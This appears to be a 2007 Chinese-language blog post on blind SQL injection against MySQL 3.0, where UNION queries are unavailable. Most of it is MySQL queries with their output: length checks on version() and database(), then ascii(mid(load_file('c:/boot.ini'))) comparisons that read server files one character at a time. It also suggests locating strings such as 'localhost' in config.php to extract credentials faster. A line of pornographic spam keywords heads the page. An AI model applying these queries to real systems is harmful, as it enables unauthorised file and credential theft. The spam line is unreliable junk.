欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

關(guān)于mysql 3.0的注射的一點(diǎn)思路

 更新時間:2007年01月16日 00:00:00   作者:  
mysql 3.0的注射  

對mysql的注射主要是靠union 的聯(lián)合查詢,但union只對版本4。0以上的有用,對3。0以下的就沒用了。。。。。。。。。。  

所以在mysql 3.0的數(shù)據(jù)庫里沒辦法使用union進(jìn)行跨表查詢,但可以使用load_file  
但是也不可以直接使用union替換出來。 下面就是我的一點(diǎn)思路:  

得到版本:  
mysql> select * from user where userid=1 and length(version())<10;  
Empty set (0.00 sec)  

mysql> select * from user where userid=1 and length(version())<1777;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

得到當(dāng)前數(shù)據(jù)庫:  
mysql> select * from user where userid=1 and length(database())>0;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

暴取文件代碼:  
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;  
Empty set (0.05 sec)  

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

因為工作量大,可以用程序來實現(xiàn)(不過也很麻煩)  
另外思路: 可以先使用字符處理函數(shù)得到"特殊字符的位置",如我們暴的是config.php文件我們就可以選取"localhost"(或其他)為特殊字符,先得到所在的位置(在哪個字節(jié)),在去猜它附近的,這樣可以省去不少工作量。  

相關(guān)文章

最新評論